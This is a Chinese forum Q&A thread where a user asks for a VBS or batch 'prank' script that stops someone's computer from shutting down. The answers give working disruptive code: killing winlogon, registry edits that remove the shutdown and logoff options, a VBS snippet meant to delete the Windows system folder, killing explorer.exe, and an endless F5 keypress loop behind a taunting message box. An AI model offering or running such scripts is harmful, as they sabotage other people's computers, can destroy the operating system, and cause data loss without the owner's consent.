Question

vbs或bat程序做整人小程序

如题，使用vbs或bat做整人小程序，要求如下：
程序能使电脑无法关机。就是运行脚本后按下“开始”>“关闭计算机”里面的什么注销啊、关机啊等等都无效。另外请附上解除代码，因为本人要在本机上测试看灵不灵。

Answer 1

用taskill杀掉winlogin.exe进程，就不能关机了。解除的话在system里面运行就好了。

追问

没有winlogin.exe进程，只有winlogon.exe。然后我试着结束winlogon.exe进程，然后屏幕异常，弹出一个什么进程异常要关机的对话框，而且要死不死要关不关的。。。开始菜单里只有“注销”选项。。。按了注销吧之后也是注一半不注一半的。。。最终停在“正在保存设置...”那里。。。。艹！办法不行啊。

Answer 2

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /d 1 /t REG_DWORD /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /d 1 /t REG_DWORD /f

Answer 3

给你个狠的
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder %SystemRoot%
删“C:\windows”

追问

只要不能关机就行了，不用那么狠。

追答

on error resume Next
set a=createobject("wscript.shell")
a.run"taskkill /f /im explorer.exe"

追问

不显示桌面不是个好办法，这让人家就知道是病毒，没意思。

追答

set ws=createobject("wscript.shell")
msgbox"你就在刷新中活着吧！",1000,"杰克冻人"
do
ws.sendkeys "{f5}"
loop